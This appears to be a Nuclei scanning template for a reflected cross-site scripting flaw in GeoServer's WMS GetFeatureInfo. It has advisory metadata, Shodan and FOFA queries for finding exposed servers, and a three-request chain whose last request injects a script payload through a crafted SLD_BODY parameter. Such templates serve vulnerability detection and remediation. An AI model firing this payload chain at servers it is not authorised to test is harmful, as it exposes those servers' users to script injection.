Copy
id: CVE-2025-21621
info:
name: GeoServer WMS GetFeatureInfo - Cross-Site Scripting
author: tommyquak
severity: medium
description: |
GeoServer before 2.25.0 contains a reflected cross-site scripting vulnerability in the WMS GetFeatureInfo HTML output format. HTML auto-escaping of GetFeatureInfo template values is disabled by default, so values supplied through a crafted SLD_BODY parameter are written to the text/html response without escaping.
impact: |
Attackers can execute arbitrary JavaScript in a victim's browser in the context of the GeoServer origin.
remediation: |
Upgrade to GeoServer 2.25.0 or later. As a workaround, enable GetFeatureInfo HTML auto-escaping, disable dynamic styling, or disable the text/html GetFeatureInfo format.
reference:
- https://github.com/geoserver/geoserver/security/advisories/GHSA-w66h-j855-qr72
- https://github.com/geoserver/geoserver/pull/7406
- https://osgeo-org.atlassian.net/browse/GEOS-11297
- https://nvd.nist.gov/vuln/detail/CVE-2025-21621
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-21621
epss-score: 0.00553
epss-percentile: 0.47655
cwe-id: CWE-79
cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: osgeo
product: geoserver
shodan-query: http.title:"geoserver"
fofa-query: app="geoserver"
tags: cve,cve2025,geoserver,xss,osgeo,vuln
http:
- raw:
- |
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: {{Hostname}}
- |
GET /geoserver/ows?service=WFS&version=1.0.0&request=DescribeFeatureType&typeName={{name}} HTTP/1.1
Host: {{Hostname}}
- |
GET /geoserver/wms?SERVICE=WMS&VERSION=1.1.1&REQUEST=GetFeatureInfo&LAYERS={{name}}&QUERY_LAYERS={{name}}&STYLES=&INFO_FORMAT=text/html&SRS=EPSG:4326&BBOX=-180,-90,180,90&WIDTH=101&HEIGHT=101&X=50&Y=50&BUFFER=50&SLD_BODY=%3CStyledLayerDescriptor%20version%3D%221.0.0%22%20xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fsld%22%20xmlns%3Aogc%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22%3E%3CNamedLayer%3E%3CName%3E{{name}}%3C%2FName%3E%3CUserStyle%3E%3CFeatureTypeStyle%3E%3CTransformation%3E%3Cogc%3AFunction%20name%3D%22vec%3ATransform%22%3E%3Cogc%3AFunction%20name%3D%22parameter%22%3E%3Cogc%3ALiteral%3Efeatures%3C%2Fogc%3ALiteral%3E%3C%2Fogc%3AFunction%3E%3Cogc%3AFunction%20name%3D%22parameter%22%3E%3Cogc%3ALiteral%3Etransform%3C%2Fogc%3ALiteral%3E%3Cogc%3ALiteral%3E{{geom}}%3D{{geom}}%3Bxss%3D%27%26lt%3Bscript%26gt%3Balert%28document.domain%29%26lt%3B%2Fscript%26gt%3B%27%3C%2Fogc%3ALiteral%3E%3C%2Fogc%3AFunction%3E%3C%2Fogc%3AFunction%3E%3C%2FTransformation%3E%3CRule%3E%3CPointSymbolizer%2F%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FNamedLayer%3E%3C%2FStyledLayerDescriptor%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "<script>alert(document.domain)</script>"
- type: word
part: header_3
words:
- "text/html"
- type: status
status:
- 200
extractors:
- type: regex
name: name
group: 1
regex:
- '(?s)<FeatureTypeList>.*?<FeatureType><Name>([^<]+)</Name>'
internal: true
part: body_1
- type: regex
name: geom
group: 1
regex:
- '(?s)^.*?name="([^"]+)"[^>]*type="gml:[A-Za-z]+PropertyType"'
internal: true
part: body_2
# digest: 4a0a0047304502207e5cb9ab646dfd33d0c5ca56b27d07d23ebaa224264b440749c5947041fe2671022100e5bff99235a6ae4e95981c9956aee840ec995459c87dc81a5ed37eb7f1a5b509:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.